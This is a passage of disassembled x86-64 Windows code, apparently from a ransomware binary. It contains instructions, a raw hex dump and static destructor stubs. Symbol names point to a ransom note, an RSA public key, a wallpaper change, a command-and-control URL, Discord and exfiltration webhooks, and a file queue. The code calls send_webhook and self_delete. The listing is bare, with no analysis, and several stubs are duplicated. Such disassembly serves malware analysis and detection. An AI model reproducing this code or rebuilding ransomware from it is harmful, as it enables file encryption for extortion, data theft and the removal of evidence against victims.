14000bb45call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000bb4alea rax, [rbp+3344]
14000bb51lea rcx, [rbp+3376]
14000bb58lea rdx, [rbp+3408]
14000bb5fmov r8, rcx
14000bb62mov rcx, rax
14000bb65call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
14000bb6alea rax, [rbp+240]
14000bb71lea rcx, [rip+0xfd024]
14000bb78lea rdx, [rbp+3344]
14000bb7fmov r8, rcx
14000bb82mov rcx, rax
14000bb85call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000bb8alea rax, [rbp+3344]
14000bb91mov rcx, rax
14000bb94call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bb99lea rax, [rbp+3408]
14000bba0mov rcx, rax
14000bba3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bba8lea rax, [rbp+3440]
14000bbafmov rcx, rax
14000bbb2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bbb7lea rax, [rbp+3520]
14000bbbemov rcx, rax
14000bbc1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bbc6lea rax, [rbp+3552]
14000bbcdmov rcx, rax
14000bbd0call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bbd5lea rax, [rbp+3472]
14000bbdcmov rcx, rax
14000bbdfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bbe4lea rax, [rbp+3519]
14000bbebmov rcx, rax
14000bbeecall std::__new_allocator<char>::~__new_allocator()
14000bbf3nop
14000bbf4lea rax, [rbp+3376]
14000bbfbmov rcx, rax
14000bbfecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bc03lea rax, [rbp+240]
14000bc0alea rcx, [rip+0x1bc48f]
14000bc11mov rdx, rax
14000bc14call send_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000bc19lea rax, [rbp+3584]
14000bc20lea rdx, [rip+0x1bc499]
14000bc27mov rcx, rax
14000bc2acall base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000bc2flea rax, [rbp+3584]
14000bc36mov rcx, rax
14000bc39call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
14000bc3exor eax, 1
14000bc41mov ebx, eax
14000bc43lea rax, [rbp+3584]
14000bc4amov rcx, rax
14000bc4dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bc52test bl, bl
14000bc54je 0x14000bc6c
14000bc56lea rax, [rbp+240]
14000bc5dlea rcx, [rip+0x1bc45c]
14000bc64mov rdx, rax
14000bc67call send_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000bc6c
14000bc6cloc_14000bc6c:
14000bc6clea rax, [rbp+3663]
14000bc73mov [rbp+3720], rax
14000bc7anop
14000bc7bnop
14000bc7clea rcx, [rbp+3663]
14000bc83lea rdx, [rip+0xfb55f]
14000bc8alea rax, [rbp+3616]
14000bc91mov r8, rcx
14000bc94mov rcx, rax
14000bc97call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000bc9clea rax, [rbp+3711]
14000bca3mov [rbp+3712], rax
14000bcaanop
14000bcabnop
14000bcaclea rcx, [rbp+3711]
14000bcb3lea rdx, [rip+0xfcefe]
14000bcbalea rax, [rbp+3664]
14000bcc1mov r8, rcx
14000bcc4mov rcx, rax
14000bcc7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000bccclea rdx, [rbp+3616]
14000bcd3lea rax, [rbp+3664]
14000bcdamov rcx, rax
14000bcddcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000bce2lea rax, [rbp+3664]
14000bce9mov rcx, rax
14000bceccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bcf1lea rax, [rbp+3711]
14000bcf8mov rcx, rax
14000bcfbcall std::__new_allocator<char>::~__new_allocator()
14000bd00nop
14000bd01lea rax, [rbp+3616]
14000bd08mov rcx, rax
14000bd0bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bd10lea rax, [rbp+3663]
14000bd17mov rcx, rax
14000bd1acall std::__new_allocator<char>::~__new_allocator()
14000bd1fnop
14000bd20mov rax, [rip+0x1bdd89]
14000bd27call rax
14000bd29mov rax, [rbp+1144]
14000bd30mov rcx, rax
14000bd33call GdiplusShutdown
14000bd38mov rax, [rbp+4016]
14000bd3fmov rcx, rax
14000bd42mov rax, [rip+0x1bde57]
14000bd49call rax
14000bd4bcall self_delete()
14000bd50mov ebx, 0
14000bd55lea rax, [rbp+240]
14000bd5cmov rcx, rax
14000bd5fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bd64lea rax, [rbp+288]
14000bd6bmov rcx, rax
14000bd6ecall std::basic_ofstream<char, std::char_traits<char>>::~basic_ofstream()
14000bd73lea rax, [rbp+752]
14000bd7amov rcx, rax
14000bd7dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bd82lea rax, [rbp+784]
14000bd89mov rcx, rax
14000bd8ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bd91lea rax, [rbp+816]
14000bd98mov rcx, rax
14000bd9bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bda0lea rax, [rbp+848]
14000bda7mov rcx, rax
14000bdaacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bdaflea rax, [rbp+880]
14000bdb6mov rcx, rax
14000bdb9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bdbelea rax, [rbp+912]
14000bdc5mov rcx, rax
14000bdc8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bdcdlea rax, [rbp+944]
14000bdd4mov rcx, rax
14000bdd7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bddclea rax, [rbp+976]
14000bde3mov rcx, rax
14000bde6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bdeblea rax, [rbp+1008]
14000bdf2mov rcx, rax
14000bdf5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000bdfalea rax, [rbp+1040]
14000be01mov rcx, rax
14000be04call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000be09lea rax, [rbp+1072]
14000be10mov rcx, rax
14000be13call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000be18
14000be18loc_14000be18:
14000be18mov eax, ebx
14000be1ajmp 0x14000c6a2
14000be1f
14000be1f 48 H
14000be20 89 c3 48 8d 85 d0 04 00 00 48 89 c1 e8 9f 56 0d ..H......H....V.
14000be30 00 eb 03 48 89 c3 48 8d 85 ff 04 00 00 48 89 c1 ...H..H......H..
14000be40 e8 8b 1f 0c 00 90 48 8d 85 a0 04 00 00 48 89 c1 ......H......H..
14000be50 e8 7b 56 0d 00 eb 03 48 89 c3 48 8d 85 cf 04 00 .{V....H..H.....
14000be60 00 48 89 c1 e8 67 1f 0c 00 90 48 89 d8 48 89 c1 .H...g....H..H..
14000be70 e8 2b f5 00 00 48 89 c3 48 8d 85 30 05 00 00 48 .+...H..H..0...H
14000be80 89 c1 e8 49 56 0d 00 eb 03 48 89 c3 48 8d 85 5f ...IV....H..H.._
14000be90 05 00 00 48 89 c1 e8 35 1f 0c 00 90 48 8d 85 00 ...H...5....H...
14000bea0 05 00 00 48 89 c1 e8 25 56 0d 00 eb 03 48 89 c3 ...H...%V....H..
14000beb0 48 8d 85 2f 05 00 00 48 89 c1 e8 11 1f 0c 00 90 H../...H........
14000bec0 48 89 d8 48 89 c1 e8 d5 f4 00 00 48 89 c3 48 8d H..H.......H..H.
14000bed0 85 90 05 00 00 48 89 c1 e8 f3 55 0d 00 eb 03 48 .....H....U....H
14000bee0 89 c3 48 8d 85 be 05 00 00 48 89 c1 e8 df 1e 0c ..H......H......
14000bef0 00 90 48 8d 85 60 05 00 00 48 89 c1 e8 cf 55 0d ..H..`...H....U.
14000bf00 00 eb 03 48 89 c3 48 8d 85 8f 05 00 00 48 89 c1 ...H..H......H..
14000bf10 e8 bb 1e 0c 00 90 48 89 d8 48 89 c1 e8 7f f4 00 ......H..H......
14000bf20 00 48 89 c3 48 8d 85 bf 05 00 00 48 89 c1 e8 9d .H..H......H....
14000bf30 1e 0c 00 90 48 89 d8 48 89 c1 e8 61 f4 00 00 48 ....H..H...a...H
14000bf40 89 c3 48 8d 85 c0 05 00 00 48 89 c1 e8 7f 55 0d ..H......H....U.
14000bf50 00 eb 03 48 89 c3 48 8d 85 e0 05 00 00 48 89 c1 ...H..H......H..
14000bf60 e8 6b 55 0d 00 eb 03 48 89 c3 48 8d 85 00 06 00 .kU....H..H.....
14000bf70 00 48 89 c1 e8 57 55 0d 00 eb 03 48 89 c3 48 8d .H...WU....H..H.
14000bf80 85 20 06 00 00 48 89 c1 e8 43 55 0d 00 eb 03 48 . ...H...CU....H
14000bf90 89 c3 48 8d 85 40 06 00 00 48 89 c1 e8 2f 55 0d ..H..@...H.../U.
14000bfa0 00 eb 03 48 89 c3 48 8d 85 60 06 00 00 48 89 c1 ...H..H..`...H..
14000bfb0 e8 1b 55 0d 00 eb 03 48 89 c3 48 8d 85 80 06 00 ..U....H..H.....
14000bfc0 00 48 89 c1 e8 07 55 0d 00 eb 03 48 89 c3 48 8d .H....U....H..H.
14000bfd0 85 a0 06 00 00 48 89 c1 e8 f3 54 0d 00 eb 03 48 .....H....T....H
14000bfe0 89 c3 48 8d 85 c0 06 00 00 48 89 c1 e8 df 54 0d ..H......H....T.
14000bff0 00 eb 03 48 89 c3 48 8d 85 e0 06 00 00 48 89 c1 ...H..H......H..
14000c000 e8 cb 54 0d 00 eb 03 48 89 c3 48 8d 85 00 07 00 ..T....H..H.....
14000c010 00 48 89 c1 e8 b7 54 0d 00 eb 03 48 89 c3 48 8d .H....T....H..H.
14000c020 85 20 07 00 00 48 89 c1 e8 a3 54 0d 00 eb 03 48 . ...H....T....H
14000c030 89 c3 48 8d 85 40 07 00 00 48 89 c1 e8 8f 54 0d ..H..@...H....T.
14000c040 00 eb 03 48 89 c3 48 8d 85 90 07 00 00 48 89 c1 ...H..H......H..
14000c050 e8 7b 54 0d 00 eb 03 48 89 c3 48 8d 85 b0 07 00 .{T....H..H.....
14000c060 00 48 89 c1 e8 67 54 0d 00 eb 03 48 89 c3 48 8d .H...gT....H..H.
14000c070 85 60 07 00 00 48 89 c1 e8 53 54 0d 00 eb 03 48 .`...H...ST....H
14000c080 89 c3 48 8d 85 8f 07 00 00 48 89 c1 e8 3f 1d 0c ..H......H...?..
14000c090 00 90 e9 79 05 00 00 48 89 c3 48 8d 85 00 08 00 ...y...H..H.....
14000c0a0 00 48 89 c1 e8 27 54 0d 00 eb 03 48 89 c3 48 8d .H...'T....H..H.
14000c0b0 85 2f 08 00 00 48 89 c1 e8 13 1d 0c 00 90 48 8d ./...H........H.
14000c0c0 85 d0 07 00 00 48 89 c1 e8 03 54 0d 00 eb 03 48 .....H....T....H
14000c0d0 89 c3 48 8d 85 ff 07 00 00 48 89 c1 e8 ef 1c 0c ..H......H......
14000c0e0 00 90 e9 06 05 00 00 48 89 c3 48 8d 85 60 08 00 .......H..H..`..
14000c0f0 00 48 89 c1 e8 d7 53 0d 00 eb 03 48 89 c3 48 8d .H....S....H..H.
14000c100 85 8e 08 00 00 48 89 c1 e8 c3 1c 0c 00 90 48 8d .....H........H.
14000c110 85 30 08 00 00 48 89 c1 e8 b3 53 0d 00 eb 03 48 .0...H....S....H
14000c120 89 c3 48 8d 85 5f 08 00 00 48 89 c1 e8 9f 1c 0c ..H.._...H......
14000c130 00 90 e9 b6 04 00 00 48 89 c3 48 8d 85 8f 08 00 .......H..H.....
14000c140 00 48 89 c1 e8 87 1c 0c 00 90 e9 8a 04 00 00 48 .H.............H
14000c150 89 c3 48 8d 85 90 08 00 00 48 89 c1 e8 3f d4 09 ..H......H...?..
14000c160 00 e9 50 04 00 00 48 89 c3 48 8d 85 f0 08 00 00 ..P...H..H......
14000c170 48 89 c1 e8 58 53 0d 00 eb 03 48 89 c3 48 8d 85 H...XS....H..H..
14000c180 1f 09 00 00 48 89 c1 e8 44 1c 0c 00 90 48 8d 85 ....H...D....H..
14000c190 c0 08 00 00 48 89 c1 e8 34 53 0d 00 eb 03 48 89 ....H...4S....H.
14000c1a0 c3 48 8d 85 ef 08 00 00 48 89 c1 e8 20 1c 0c 00 .H......H... ...
14000c1b0 90 e9 00 04 00 00 48 89 c3 48 8d 85 50 09 00 00 ......H..H..P...
14000c1c0 48 89 c1 e8 08 53 0d 00 eb 03 48 89 c3 48 8d 85 H....S....H..H..
14000c1d0 7f 09 00 00 48 89 c1 e8 f4 1b 0c 00 90 48 8d 85 ....H........H..
14000c1e0 20 09 00 00 48 89 c1 e8 e4 52 0d 00 eb 03 48 89 ...H....R....H.
14000c1f0 c3 48 8d 85 4f 09 00 00 48 89 c1 e8 d0 1b 0c 00 .H..O...H.......
14000c200 90 e9 b0 03 00 00 48 89 c3 48 8d 85 d0 09 00 00 ......H..H......
14000c210 48 89 c1 e8 b8 52 0d 00 eb 03 48 89 c3 48 8d 85 H....R....H..H..
14000c220 ff 09 00 00 48 89 c1 e8 a4 1b 0c 00 90 48 8d 85 ....H........H..
14000c230 a0 09 00 00 48 89 c1 e8 94 52 0d 00 eb 03 48 89 ....H....R....H.
14000c240 c3 48 8d 85 cf 09 00 00 48 89 c1 e8 80 1b 0c 00 .H......H.......
14000c250 90 e9 60 03 00 00 48 89 c3 48 8d 85 00 0a 00 00 ..`...H..H......
14000c260 48 89 c1 e8 68 52 0d 00 e9 49 03 00 00 48 89 c3 H...hR...I...H..
14000c270 48 8d 85 50 0a 00 00 48 89 c1 e8 51 52 0d 00 eb H..P...H...QR...
14000c280 03 48 89 c3 48 8d 85 7f 0a 00 00 48 89 c1 e8 3d .H..H......H...=
14000c290 1b 0c 00 90 48 8d 85 20 0a 00 00 48 89 c1 e8 2d ....H.. ...H...-
14000c2a0 52 0d 00 eb 03 48 89 c3 48 8d 85 4f 0a 00 00 48 R....H..H..O...H
14000c2b0 89 c1 e8 19 1b 0c 00 90 e9 f9 02 00 00 48 89 c3 .............H..
14000c2c0 48 8d 85 b0 0a 00 00 48 89 c1 e8 01 52 0d 00 eb H......H....R...
14000c2d0 03 48 89 c3 48 8d 85 d0 0a 00 00 48 89 c1 e8 ed .H..H......H....
14000c2e0 51 0d 00 eb 03 48 89 c3 48 8d 85 ff 0a 00 00 48 Q....H..H......H
14000c2f0 89 c1 e8 d9 1a 0c 00 90 48 8d 85 80 0a 00 00 48 ........H......H
14000c300 89 c1 e8 c9 51 0d 00 eb 03 48 89 c3 48 8d 85 af ....Q....H..H...
14000c310 0a 00 00 48 89 c1 e8 b5 1a 0c 00 90 e9 95 02 00 ...H............
14000c320 00 48 89 c3 48 8d 85 00 0b 00 00 48 89 c1 e8 6d .H..H......H...m
14000c330 d2 09 00 e9 7e 02 00 00 48 89 c3 48 8d 85 60 0b ....~...H..H..`.
14000c340 00 00 48 89 c1 e8 86 51 0d 00 eb 03 48 89 c3 48 ..H....Q....H..H
14000c350 8d 85 8f 0b 00 00 48 89 c1 e8 72 1a 0c 00 90 48 ......H...r....H
14000c360 8d 85 30 0b 00 00 48 89 c1 e8 62 51 0d 00 eb 03 ..0...H...bQ....
14000c370 48 89 c3 48 8d 85 5f 0b 00 00 48 89 c1 e8 4e 1a H..H.._...H...N.
14000c380 0c 00 90 e9 2e 02 00 00 48 89 c3 48 8d 85 90 0b ........H..H....
14000c390 00 00 48 89 c1 e8 06 d2 09 00 e9 17 02 00 00 48 ..H............H
14000c3a0 89 c3 48 8d 85 f0 0b 00 00 48 89 c1 e8 1f 51 0d ..H......H....Q.
14000c3b0 00 eb 03 48 89 c3 48 8d 85 10 0c 00 00 48 89 c1 ...H..H......H..
14000c3c0 e8 0b 51 0d 00 eb 03 48 89 c3 48 8d 85 30 0c 00 ..Q....H..H..0..
14000c3d0 00 48 89 c1 e8 f7 50 0d 00 48 8d 85 c0 0b 00 00 .H....P..H......
14000c3e0 48 89 c1 e8 e8 50 0d 00 eb 03 48 89 c3 48 8d 85 H....P....H..H..
14000c3f0 ef 0b 00 00 48 89 c1 e8 d4 19 0c 00 90 e9 b4 01 ....H...........
14000c400 00 00 48 89 c3 48 8d 85 80 0c 00 00 48 89 c1 e8 ..H..H......H...
14000c410 bc 50 0d 00 eb 03 48 89 c3 48 8d 85 af 0c 00 00 .P....H..H......
14000c420 48 89 c1 e8 a8 19 0c 00 90 48 8d 85 50 0c 00 00 H........H..P...
14000c430 48 89 c1 e8 98 50 0d 00 eb 03 48 89 c3 48 8d 85 H....P....H..H..
14000c440 7f 0c 00 00 48 89 c1 e8 84 19 0c 00 90 eb 03 48 ....H..........H
14000c450 89 c3 48 8d 85 d0 00 00 00 48 89 c1 e8 9f f8 0c ..H......H......
14000c460 00 e9 50 01 00 00 48 89 c3 48 8d 85 e0 0c 00 00 ..P...H..H......
14000c470 48 89 c1 e8 58 50 0d 00 eb 03 48 89 c3 48 8d 85 H...XP....H..H..
14000c480 0f 0d 00 00 48 89 c1 e8 44 19 0c 00 90 48 8d 85 ....H...D....H..
14000c490 b0 0c 00 00 48 89 c1 e8 34 50 0d 00 eb 03 48 89 ....H...4P....H.
14000c4a0 c3 48 8d 85 df 0c 00 00 48 89 c1 e8 20 19 0c 00 .H......H... ...
14000c4b0 90 e9 00 01 00 00 48 89 c3 48 8d 85 10 0d 00 00 ......H..H......
14000c4c0 48 89 c1 e8 08 50 0d 00 eb 03 48 89 c3 48 8d 85 H....P....H..H..
14000c4d0 50 0d 00 00 48 89 c1 e8 f4 4f 0d 00 eb 03 48 89 P...H....O....H.
14000c4e0 c3 48 8d 85 70 0d 00 00 48 89 c1 e8 e0 4f 0d 00 .H..p...H....O..
14000c4f0 eb 03 48 89 c3 48 8d 85 c0 0d 00 00 48 89 c1 e8 ..H..H......H...
14000c500 cc 4f 0d 00 eb 03 48 89 c3 48 8d 85 e0 0d 00 00 .O....H..H......
14000c510 48 89 c1 e8 b8 4f 0d 00 eb 03 48 89 c3 48 8d 85 H....O....H..H..
14000c520 90 0d 00 00 48 89 c1 e8 a4 4f 0d 00 eb 03 48 89 ....H....O....H.
14000c530 c3 48 8d 85 bf 0d 00 00 48 89 c1 e8 90 18 0c 00 .H......H.......
14000c540 90 48 8d 85 30 0d 00 00 48 89 c1 e8 80 4f 0d 00 .H..0...H....O..
14000c550 eb 64 48 89 c3 48 8d 85 50 0e 00 00 48 89 c1 e8 .dH..H..P...H...
14000c560 6c 4f 0d 00 eb 03 48 89 c3 48 8d 85 7f 0e 00 00 lO....H..H......
14000c570 48 89 c1 e8 58 18 0c 00 90 48 8d 85 20 0e 00 00 H...X....H.. ...
14000c580 48 89 c1 e8 48 4f 0d 00 eb 03 48 89 c3 48 8d 85 H...HO....H..H..
14000c590 4f 0e 00 00 48 89 c1 e8 34 18 0c 00 90 eb 03 48 O...H...4......H
14000c5a0 89 c3 48 8d 85 f0 00 00 00 48 89 c1 e8 1f 4f 0d ..H......H....O.
14000c5b0 00 eb 03 48 89 c3 48 8d 85 20 01 00 00 48 89 c1 ...H..H.. ...H..
14000c5c0 e8 db f5 0b 00 eb 03 48 89 c3 48 8d 85 f0 02 00 .......H..H.....
14000c5d0 00 48 89 c1 e8 f7 4e 0d 00 48 8d 85 10 03 00 00 .H....N..H......
14000c5e0 48 89 c1 e8 e8 4e 0d 00 eb 03 48 89 c3 48 8d 85 H....N....H..H..
14000c5f0 30 03 00 00 48 89 c1 e8 d4 4e 0d 00 eb 03 48 89 0...H....N....H.
14000c600 c3 48 8d 85 50 03 00 00 48 89 c1 e8 c0 4e 0d 00 .H..P...H....N..
14000c610 48 8d 85 70 03 00 00 48 89 c1 e8 b1 4e 0d 00 eb H..p...H....N...
14000c620 03 48 89 c3 48 8d 85 90 03 00 00 48 89 c1 e8 9d .H..H......H....
14000c630 4e 0d 00 eb 03 48 89 c3 48 8d 85 b0 03 00 00 48 N....H..H......H
14000c640 89 c1 e8 89 4e 0d 00 eb 03 48 89 c3 48 8d 85 d0 ....N....H..H...
14000c650 03 00 00 48 89 c1 e8 75 4e 0d 00 eb 03 48 89 c3 ...H...uN....H..
14000c660 48 8d 85 f0 03 00 00 48 89 c1 e8 61 4e 0d 00 eb H......H...aN...
14000c670 03 48 89 c3 48 8d 85 10 04 00 00 48 89 c1 e8 4d .H..H......H...M
14000c680 4e 0d 00 eb 03 48 89 c3 48 8d 85 30 04 00 00 48 N....H..H..0...H
14000c690 89 c1 e8 39 4e 0d 00 48 89 d8 48 89 c1 e8 fe ec ...9N..H..H.....
14000c6a0 00 00 ..
14000c6a2
14000c6a2loc_14000c6a2:
14000c6a2add rsp, 4168
14000c6a9pop rbx
14000c6aapop rbp
14000c6abret
14000a6dd
14000c6ac
14000c6ac__tcf_ZL22RSA_PUBLIC_KEY_B64_RAW:
14000c6acpush rbp
14000c6admov rbp, rsp
14000c6b0sub rsp, 32
14000c6b4lea rax, [rip+0x1bb9c5]
14000c6bbmov rcx, rax
14000c6becall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c6c3nop
14000c6c4add rsp, 32
14000c6c8pop rbp
14000c6c9ret
14000c6ac
14000c6ac__tcf_ZL22RSA_PUBLIC_KEY_B64_RAW:
14000c6acpush rbp
14000c6admov rbp, rsp
14000c6b0sub rsp, 32
14000c6b4lea rax, [rip+0x1bb9c5]
14000c6bbmov rcx, rax
14000c6becall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c6c3nop
14000c6c4add rsp, 32
14000c6c8pop rbp
14000c6c9ret
14000c6ac
14000c6ca
14000c6ca__tcf_ZL27DISCORD_WEBHOOK_URL_B64_RAW:
14000c6capush rbp
14000c6cbmov rbp, rsp
14000c6cesub rsp, 32
14000c6d2lea rax, [rip+0x1bb9c7]
14000c6d9mov rcx, rax
14000c6dccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c6e1nop
14000c6e2add rsp, 32
14000c6e6pop rbp
14000c6e7ret
14000c6ca
14000c6ca__tcf_ZL27DISCORD_WEBHOOK_URL_B64_RAW:
14000c6capush rbp
14000c6cbmov rbp, rsp
14000c6cesub rsp, 32
14000c6d2lea rax, [rip+0x1bb9c7]
14000c6d9mov rcx, rax
14000c6dccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c6e1nop
14000c6e2add rsp, 32
14000c6e6pop rbp
14000c6e7ret
14000c6ca
14000c6e8
14000c6e8__tcf_ZL14C2_URL_B64_RAW:
14000c6e8push rbp
14000c6e9mov rbp, rsp
14000c6ecsub rsp, 32
14000c6f0lea rax, [rip+0x1bb9c9]
14000c6f7mov rcx, rax
14000c6facall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c6ffnop
14000c700add rsp, 32
14000c704pop rbp
14000c705ret
14000c6e8
14000c6e8__tcf_ZL14C2_URL_B64_RAW:
14000c6e8push rbp
14000c6e9mov rbp, rsp
14000c6ecsub rsp, 32
14000c6f0lea rax, [rip+0x1bb9c9]
14000c6f7mov rcx, rax
14000c6facall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c6ffnop
14000c700add rsp, 32
14000c704pop rbp
14000c705ret
14000c6e8
14000c706
14000c706__tcf_ZL27RANSOM_NOTE_CONTENT_B64_RAW:
14000c706push rbp
14000c707mov rbp, rsp
14000c70asub rsp, 32
14000c70elea rax, [rip+0x1bb9cb]
14000c715mov rcx, rax
14000c718call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c71dnop
14000c71eadd rsp, 32
14000c722pop rbp
14000c723ret
14000c706
14000c706__tcf_ZL27RANSOM_NOTE_CONTENT_B64_RAW:
14000c706push rbp
14000c707mov rbp, rsp
14000c70asub rsp, 32
14000c70elea rax, [rip+0x1bb9cb]
14000c715mov rcx, rax
14000c718call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c71dnop
14000c71eadd rsp, 32
14000c722pop rbp
14000c723ret
14000c706
14000c724
14000c724__tcf_ZL20WALLPAPER_BASE64_RAW:
14000c724push rbp
14000c725mov rbp, rsp
14000c728sub rsp, 32
14000c72clea rax, [rip+0x1bb9cd]
14000c733mov rcx, rax
14000c736call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c73bnop
14000c73cadd rsp, 32
14000c740pop rbp
14000c741ret
14000c724
14000c724__tcf_ZL20WALLPAPER_BASE64_RAW:
14000c724push rbp
14000c725mov rbp, rsp
14000c728sub rsp, 32
14000c72clea rax, [rip+0x1bb9cd]
14000c733mov rcx, rax
14000c736call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c73bnop
14000c73cadd rsp, 32
14000c740pop rbp
14000c741ret
14000c724
14000c742
14000c742__tcf_ZL15ICON_BASE64_RAW:
14000c742push rbp
14000c743mov rbp, rsp
14000c746sub rsp, 32
14000c74alea rax, [rip+0x1bb9cf]
14000c751mov rcx, rax
14000c754call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c759nop
14000c75aadd rsp, 32
14000c75epop rbp
14000c75fret
14000c742
14000c742__tcf_ZL15ICON_BASE64_RAW:
14000c742push rbp
14000c743mov rbp, rsp
14000c746sub rsp, 32
14000c74alea rax, [rip+0x1bb9cf]
14000c751mov rcx, rax
14000c754call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c759nop
14000c75aadd rsp, 32
14000c75epop rbp
14000c75fret
14000c742
14000c760
14000c760__tcf_ZL22FILE_EXTENSION_B64_RAW:
14000c760push rbp
14000c761mov rbp, rsp
14000c764sub rsp, 32
14000c768lea rax, [rip+0x1bb9d1]
14000c76fmov rcx, rax
14000c772call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c777nop
14000c778add rsp, 32
14000c77cpop rbp
14000c77dret
14000c760
14000c760__tcf_ZL22FILE_EXTENSION_B64_RAW:
14000c760push rbp
14000c761mov rbp, rsp
14000c764sub rsp, 32
14000c768lea rax, [rip+0x1bb9d1]
14000c76fmov rcx, rax
14000c772call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c777nop
14000c778add rsp, 32
14000c77cpop rbp
14000c77dret
14000c760
14000c77e
14000c77e__tcf_ZL28RANSOM_NOTE_FILENAME_B64_RAW:
14000c77epush rbp
14000c77fmov rbp, rsp
14000c782sub rsp, 32
14000c786lea rax, [rip+0x1bb9d3]
14000c78dmov rcx, rax
14000c790call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c795nop
14000c796add rsp, 32
14000c79apop rbp
14000c79bret
14000c77e
14000c77e__tcf_ZL28RANSOM_NOTE_FILENAME_B64_RAW:
14000c77epush rbp
14000c77fmov rbp, rsp
14000c782sub rsp, 32
14000c786lea rax, [rip+0x1bb9d3]
14000c78dmov rcx, rax
14000c790call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c795nop
14000c796add rsp, 32
14000c79apop rbp
14000c79bret
14000c77e
14000c79c
14000c79c__tcf_ZL32EXFILTRATION_WEBHOOK_URL_B64_RAW:
14000c79cpush rbp
14000c79dmov rbp, rsp
14000c7a0sub rsp, 32
14000c7a4lea rax, [rip+0x1bb9d5]
14000c7abmov rcx, rax
14000c7aecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c7b3nop
14000c7b4add rsp, 32
14000c7b8pop rbp
14000c7b9ret
14000c79c
14000c79c__tcf_ZL32EXFILTRATION_WEBHOOK_URL_B64_RAW:
14000c79cpush rbp
14000c79dmov rbp, rsp
14000c7a0sub rsp, 32
14000c7a4lea rax, [rip+0x1bb9d5]
14000c7abmov rcx, rax
14000c7aecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000c7b3nop
14000c7b4add rsp, 32
14000c7b8pop rbp
14000c7b9ret
14000c79c
14000c7ba
14000c7ba__tcffile_queue_mutex:
14000c7bapush rbp
14000c7bbmov rbp, rsp
14000c7besub rsp, 32
14000c7c2lea rax, [rip+0x1bb877]
14000c7c9mov rcx, rax
14000c7cccall std::mutex::~mutex()
14000c7d1nop
14000c7d2add rsp, 32
14000c7d6pop rbp
14000c7d7ret
14000c7ba
14000c7ba__tcffile_queue_mutex:
14000c7bapush rbp
